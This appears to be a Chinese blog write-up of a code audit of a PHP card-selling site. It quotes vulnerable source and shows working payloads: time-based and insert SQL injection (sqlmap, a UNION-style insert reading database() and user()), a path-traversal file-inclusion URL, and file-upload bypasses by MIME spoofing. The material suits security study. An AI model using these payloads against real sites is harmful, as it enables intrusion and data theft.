发卡系统代码审计

简介: 发卡系统代码审计

针对一个php小站,进行代码审计,并查找常见漏洞。

先大致通读代码,查看业务流程。

index.php =>if/common.php=>conig.php=>db.class.php=>function.php=>member.php

流程我就不写了,基本上都是类似的,主要看function.php 里面的过滤信息

SQL注入挖掘

延迟注入

我这里使用SQL监控,对主页进行查看  直接定位

// _if 是过滤函数
 function _if($str){
    $str = str_replace(">","",$str);
    $str = str_replace("/","",$str);
    $str = str_replace("<","",$str);
    $str = str_replace(":","",$str);
    $str = str_replace("'","",$str);
    $str = str_replace(" ","",$str);
    $str = str_replace("=","",$str);
    $str = str_replace("||","",$str);
    $str = str_replace("-","",$str);
    $str = str_replace("#","",$str);
    $str = str_replace("*","",$str);
    $str = str_replace("?","",$str);
    return $str;
    // 异步获取商品
    // post接收数据,if函数进行过滤,判断参数是否为空
    // burp抓包 主页访问执行数据查询操作,所以直接对主页抓包
    case 'selgo': 
       $select = "<option>请选择商品</option>";
        $tpID = _if($_POST['tyid']);
        if($tpID == ""){
            exit('{"code":0,"msg":"'.$select.'"}');
        }
        $sql = "select * from if_goods where  state =1 and tpId = ".$tpID." ORDER BY sotr desc";
        $res = $DB->query($sql);
       $i=1;
        while ($row =$DB->fetch($res)){
            $c = $DB->count("SELECT COUNT(id) from if_km  where stat = 0 and gid =".$row['id']);
          $select.="<option id='".$row['id']."' imgs='".$row['imgs']."' value='"._if2($row['gName'])."'kc='".$c."'  title='".$row['price']."' alt = '"._if2($row['gInfo'])."'>"._if2($row['gName'])."</option>";
        }
       exit('{"code":0,"msg":"'.$select.'"}');
        break; 


第一张图 正常访问 是2 秒
sleep 6秒 延迟了8 秒
所以这是延迟注入 将数据包放到sqlmap里 指定参数就可以查询数据

insert注入

ajax.php文件

除了第一个 其他都使用了函数进行过滤,所以可以进行控制

因为使用了swith语句,所以 ajax.php?act=create

640.png


/创建订单
     case 'create':
         $out_trade_no = $_POST['out_trade_no'];
         $gid = _if($_POST['gid']);
         $money = _if($_POST['money']);
         $rel = _if($_POST['rel']);
         $type = _if($_POST['type']);
         $number = intval($_POST['number']);
         if($number <= 0){
             exit('{"code":-1,"msg":"no"}');
         }
         $checkcqq_row = $DB->get_row("select * from  if_blacklist where data = '$rel' and type = 1");
         if($checkcqq_row){
             exit('{"code":-1,"msg":"当前QQ已被列入本站黑名单"}');
         }
         $sql = "insert into if_order(out_trade_no,gid,money,rel,benTime,type,number)

burp再次抓包  

心想不对呀,我分析的一点都没错,为啥不可以访问?

把ajax文件从头再看一遍就会发现下,这个文件不可以直接访问,通过index文件,进而跳转到这个页面。所以说,数据还是在首页。

点击首页的下单功能,即可。

640.png640.png

这不就出来了吗。构造payload


',1,1,'1111111',now(),'qqpay',1),((select database()),1,1,(select user()),now(),'qqpay',1)#&gid=1&money=1&rel=1111111&type=qqpay&number=1

时间注入

这一步骤还是在首页支付功能,第三步

out_trade_no 参数没有任何过滤

if($conf['payapi'] == 5){
  $name = isset($_GET['name'])?$_GET['name']:exit('No name!');
  $money = isset($_GET['money'])?$_GET['money']:exit('No money!');
  $number = isset($_GET['number'])?$_GET['number']:exit('No number!');
  $out_trade_no = isset($_GET['out_trade_no'])?$_GET['out_trade_no']:exit('No out_trade_no!');
  $gid = isset($_GET['gid'])?$_GET['gid']:exit('No gid!');
  $url = "./msubmit.php?out_trade_no=".$out_trade_no."&money=".$money."&type=".$type;
  exit("<script language='javascript'>window.location.href='".$url."';</script>");
}elseif($conf['payapi'] == 3){
    $payapi='http://fpay.blypay.cn/';
}elseif($conf['payapi'] == 10){
    $payapi='http://pay.ivzfpt.com/';
}
if($type=='alipay' || $type=='tenpay' || $type=='qqpay' || $type=='wxpay'){
  require_once(SYSTEM_ROOT_E."epay/epay.config.php");
  require_once(SYSTEM_ROOT_E."epay/epay_submit.class.php");
  empty($_COOKIE['auth'])?exit():null;
  $or = $_GET['out_trade_no'];
  //防止修改价格
  $sql = "SELECT * FROM if_order WHERE out_trade_no='{$or}' limit 1";
GET /sendcard/other/submit.php?type=qqpay&name=test&money=2&number=2&out_trade_no=2021614176214762&gid=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/sendcard/
Cookie: PHPSESSID=9e55oo2mo4du1v7qr82426mfi1
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

640.png复制数据包,放到sqlmap里检测

文件包含漏洞

在首页index.php 判断tp 和 action参数是否为空,并没有做过滤

在根目录创建一个phpinfo文件

构造exp

index.php?tp=default&action=../../phpinfo

if(!empty($_GET['tp']) && !empty($_GET['action'])){
    $tp = $_GET['tp'];
    $action = $_GET['action'];
    include 'template/'.$tp.'/'.$action.".php";
    exit();

文件上传漏洞

商品文件上传

// admin/clist.php?my=add
 <?php
        if($my == "edit_submit"){
           $id = intval($_GET['id']);
            $garr =  array();
            $garr['gName'] = daddslashes($_POST['gname']);
            $garr['gInfo'] = daddslashes($_POST['ginfo']);
            $garr['gInfo'] = str_replace("\r\n","<br>", $garr['gInfo']);
            $imgs =  upimgs($_FILES['img']);
            $garr['imgs'] = $imgs==null?null:$imgs;
            $garr['tpId'] = daddslashes($_POST['type']);
            $garr['price'] = daddslashes($_POST['price']);
            $garr['state'] = daddslashes($_POST['state']);
            $garr['sotr'] = daddslashes($_POST['sotr']);
function upimgs($upfile){
    $max_file_size=2000000;     //上传文件大小限制, 单位BYTE
    $destination_folder="../assets/goodsimg/"; //上传文件路径
    $f="assets/goodsimg/";//图片名称
    $watermark=1;      //是否附加水印(1为加水印,其他为不加水印);
    $watertype=1;      //水印类型(1为文字,2为图片)
    $waterposition=1;     //水印位置(1为左下角,2为右下角,3为左上角,4为右上角,5为居中);
    $waterstring="if";  //水印字符串
    $waterimg="xplore.gif";    //水印图片
    $imgpreview=1;      //是否生成预览图(1为生成,其他为不生成);
    $imgpreviewsize=1/8;    //缩略图比例
    //上传文件类型列表
    $uptypes=array(
        'image/jpg',
        'image/jpeg',
        'image/png',
        'image/pjpeg',
        'image/gif',
        'image/bmp',
        'image/x-png'
    );
    if (!is_uploaded_file($upfile['tmp_name']))
    //是否存在文件
    {
        return null;
        exit;
    }
    $file = $upfile;
    if($max_file_size < $file["size"])
    //检查文件大小
    {
        return null;
        exit;
    }
    if(!in_array($file["type"], $uptypes))
    //检查文件类型
    {
        return null;
        exit;
    }
    if(!file_exists($destination_folder))
    {
        mkdir($destination_folder);
    }
    $filename=$file["tmp_name"];
    $image_size = getimagesize($filename);
    $pinfo=pathinfo($file["name"]);
    $ftype=$pinfo['extension'];
    $destination = $destination_folder.time().".".$ftype;
    if (file_exists($destination) && $overwrite != true)
    {
        return null;
        exit;
    }
    if(!move_uploaded_file ($filename, $destination))
    {
        return null;
        exit;
    }
    $pinfo=pathinfo($destination);
    $fname=$pinfo['basename'];
    return  $f.$fname;//成功!
    if($watermark==1)
    {
        $iinfo=getimagesize($destination,$iinfo);
        $nimage=imagecreatetruecolor($image_size[0],$image_size[1]);
        $white=imagecolorallocate($nimage,255,255,255);
        $black=imagecolorallocate($nimage,0,0,0);
        $red=imagecolorallocate($nimage,255,0,0);
        imagefill($nimage,0,0,$white);
        switch ($iinfo[2])
        {
            case 1:
                $simage =imagecreatefromgif($destination);
                break;
            case 2:
                $simage =imagecreatefromjpeg($destination);
                break;
            case 3:
                $simage =imagecreatefrompng($destination);
                break;
            case 6:
                $simage =imagecreatefromwbmp($destination);
                break;
            default:
                return "不支持的文件类型";
                exit;
        }
        imagecopy($nimage,$simage,0,0,0,0,$image_size[0],$image_size[1]);
        imagefilledrectangle($nimage,1,$image_size[1]-15,80,$image_size[1],$white);
        switch($watertype)
        {
            case 1:   //加水印字符串
                imagestring($nimage,2,3,$image_size[1]-15,$waterstring,$black);
                break;
            case 2:   //加水印图片
                $simage1 =imagecreatefromgif("xplore.gif");
                imagecopy($nimage,$simage1,0,0,0,0,85,15);
                imagedestroy($simage1);
                break;
        }
        switch ($iinfo[2])
        {
            case 1:
                imagejpeg($nimage, $destination);
                break;
            case 2:
                imagejpeg($nimage, $destination);
                break;
            case 3:
                imagepng($nimage, $destination);
                break;
            case 6:
                imagewbmp($nimage, $destination);
                break;
        }
        imagedestroy($nimage);
        imagedestroy($simage);
    }
}

那么多行的代码,都是对文件的操作,就检测了文件类型,所以更改文件类型即可。

logo文件上传

if($ext=='png'||$ext=='gif'||$ext=='jpg'||$ext=='jpeg'||$ext=='bmp')$ext='png';
copy($_FILES['file']['tmp_name'], ROOT.'/assets/imgs/logo.'.$ext);
echo "成功上传文件!<br>(可能需要清空浏览器缓存才能看到效果)";
}
echo '<form action="set.php?mod=upimg" method="POST" enctype="multipart/form-data"><label for="file"></label><input type="file" name="file" id="file" /><input type="hidden" name="s" value="1" /><br><input type="submit" class="btn btn-primary btn-block" value="确认上传" /></form>*请上传300*82的png格式的图片<br><br>现在的图片:<br><img src="../assets/imgs/logo.png?r='.rand(10000,99999).'" style="max-width:100%">';
echo '</div></div>';
}elseif($_GET['mod']=='upBgimg'){
    echo '<div class="panel panel-primary"><div class="panel-heading"><h3 class="panel-title">更改首页背景图片</h3> </div><div class="panel-body">';
    if($_POST['s']==1){
        $extension=explode('.',$_FILES['file']['name']);
        if (($length = count($extension)) > 1) {
            $ext = strtolower($extension[$length - 1]);
        }
        if($ext=='png'||$ext=='gif'||$ext=='jpg'||$ext=='jpeg'||$ext=='bmp')$ext='jpg';
        copy($_FILES['file']['tmp_name'], ROOT.'/assets/imgs/bj3.'.$ext);

同样也是 更改文件类型


相关文章
|
存储 安全 Java
【面试题精讲】ArrayList 和 Vector 的区别?
【面试题精讲】ArrayList 和 Vector 的区别?
|
3月前
|
缓存 边缘计算 运维
基于 Cloudflare Workers 构建高性能知识库镜像服务:反向代理与 HTML 动态重写实践
基于Cloudflare Workers构建的边缘计算镜像服务,通过反向代理、HTML动态重写与智能缓存,优化维基百科等知识平台的访问性能。支持路径映射、安全头清理与容错回退,实现免运维、低延迟、高可用的Web加速方案,适用于教育、科研等合规场景。
733 8
|
监控 Java Shell
「Mac畅玩鸿蒙与硬件7」鸿蒙开发环境配置篇7 - 使用命令行工具和本地模拟器管理项目
本篇将讲解在 macOS 上配置 HarmonyOS 开发环境的流程,聚焦 hvigorw 命令行工具的使用。我们将以创建 HelloWorld 项目为例,演示使用 hvigorw 进行项目构建、清理操作,并通过 DevEco Studio 的本地模拟器进行预览,帮助提升项目开发与调试效率。
623 3
「Mac畅玩鸿蒙与硬件7」鸿蒙开发环境配置篇7 - 使用命令行工具和本地模拟器管理项目
|
Java API Maven
商汤人像如何对接?Java代码如何写?
商汤人像如何对接?Java代码如何写?
453 5
|
SQL 人工智能 安全
【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践
本文介绍了作者在数据安全比赛中遇到的一个开源框架的代码审计过程。作者使用了多种工具,特别是“通义灵码”,帮助发现了多个高危漏洞,包括路径遍历、文件上传、目录删除、SQL注入和XSS漏洞。文章详细描述了如何利用这些工具进行漏洞定位和验证,并分享了使用“通义灵码”的心得和体验。最后,作者总结了AI在代码审计中的优势和不足,并展望了未来的发展方向。
|
NoSQL MongoDB 关系型数据库
13个Mongodb GUI可视化管理工具,总有一款适合你
本文介绍了13个好用的MongoDB可视化工具。Robomongo,MongoDB Compass,phpMoAdmin等
114930 0
13个Mongodb GUI可视化管理工具,总有一款适合你
|
Java Maven
Java系列之:GroupId和ArtifactId的作用
这篇文章解释了在Maven项目中`GroupId`和`ArtifactId`的含义和作用,其中`GroupId`通常由域和自定义域名组成,用于区分组织或公司,而`ArtifactId`是项目或模块的名称,两者结合用于唯一标识项目包,确保不会与他人的项目包重复。
vscode设置自动保存步骤
vscode设置自动保存就不用每次要运行时候去先保存一下才能加载新页面了
19753 0
vscode设置自动保存步骤
|
存储 编解码
【头歌·计组·自己动手画CPU】一、计算机数据表示(理论版) 【计算机硬件系统设计】
【头歌·计组·自己动手画CPU】一、计算机数据表示(理论版) 【计算机硬件系统设计】
634 2
|
域名解析 负载均衡 网络协议
信息收集——绕过CDN查找真实IP(最实用的方法)
信息收集——绕过CDN查找真实IP(最实用的方法)
7779 0
信息收集——绕过CDN查找真实IP(最实用的方法)